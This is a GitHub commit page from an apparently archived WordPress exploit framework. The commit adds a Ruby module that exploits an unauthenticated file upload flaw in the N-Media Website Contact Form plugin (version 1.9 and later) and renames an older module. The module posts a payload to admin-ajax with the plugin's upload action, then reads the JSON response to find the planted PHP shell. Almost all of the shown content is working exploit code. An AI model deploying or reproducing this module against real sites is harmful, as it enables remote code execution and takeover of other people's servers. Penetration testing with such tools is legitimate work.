Skip to content
This repository was archived by the owner on Oct 22, 2020. It is now read-only.

Commit d3ea511

Browse files
committed
Add new N-Media shell upload module
1 parent 8f22ca9 commit d3ea511

File tree

2 files changed

+44
-1
lines changed

2 files changed

+44
-1
lines changed

modules/exploits/n_media_website_contact_form_shell_upload.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -5,7 +5,7 @@ def initialize
55
super
66

77
update_info(
8-
name: 'N-Media Website Contact Form Shell Upload',
8+
name: 'N-Media Website Contact Form <= 1.3.4 Shell Upload',
99
desc: 'This module exploits a file upload vulnerability in versions '\
1010
'<= 1.3.4 of the N-Media Website Contact Form plugin which '\
1111
'allows unauthenticated users to upload and execute PHP scripts '\
Lines changed: 43 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,43 @@
1+
class Wpxf::Exploit::NMediaWebsiteContactFormV19ShellUpload < Wpxf::Module
2+
include Wpxf::WordPress::ShellUpload
3+
4+
def initialize
5+
super
6+
7+
update_info(
8+
name: 'N-Media Website Contact Form >= 1.9 Shell Upload',
9+
author: [
10+
'White Fir Design', # Vulnerability discovery
11+
'Rob Carr <rob[at]rastating.com>' # WPXF module
12+
],
13+
references: [
14+
['URL', 'https://www.pluginvulnerabilities.com/2016/09/19/arbitrary-file-upload-vulnerability-in-n-media-website-contact-form-with-file-upload/'],
15+
['WPVDB', '8623']
16+
],
17+
date: 'Sep 19 2016'
18+
)
19+
end
20+
21+
def check
22+
check_plugin_version_from_readme('website-contact-form-with-file-upload', nil, '1.9')
23+
end
24+
25+
def payload_body_builder
26+
builder = Utility::BodyBuilder.new
27+
builder.add_file_from_string('file', payload.encoded, payload_name)
28+
builder.add_field('name', payload_name)
29+
builder.add_field('action', 'nm_webcontact_upload_file')
30+
builder
31+
end
32+
33+
def uploader_url
34+
wordpress_url_admin_ajax
35+
end
36+
37+
def uploaded_payload_location
38+
stored_name = JSON.parse(upload_result.body)['file_name']
39+
return normalize_uri(wordpress_url_wp_content, 'uploads', 'contact_files', stored_name)
40+
rescue StandardError => e
41+
raise "Failed to parse response: #{e}"
42+
end
43+
end

0 commit comments

Comments
 (0)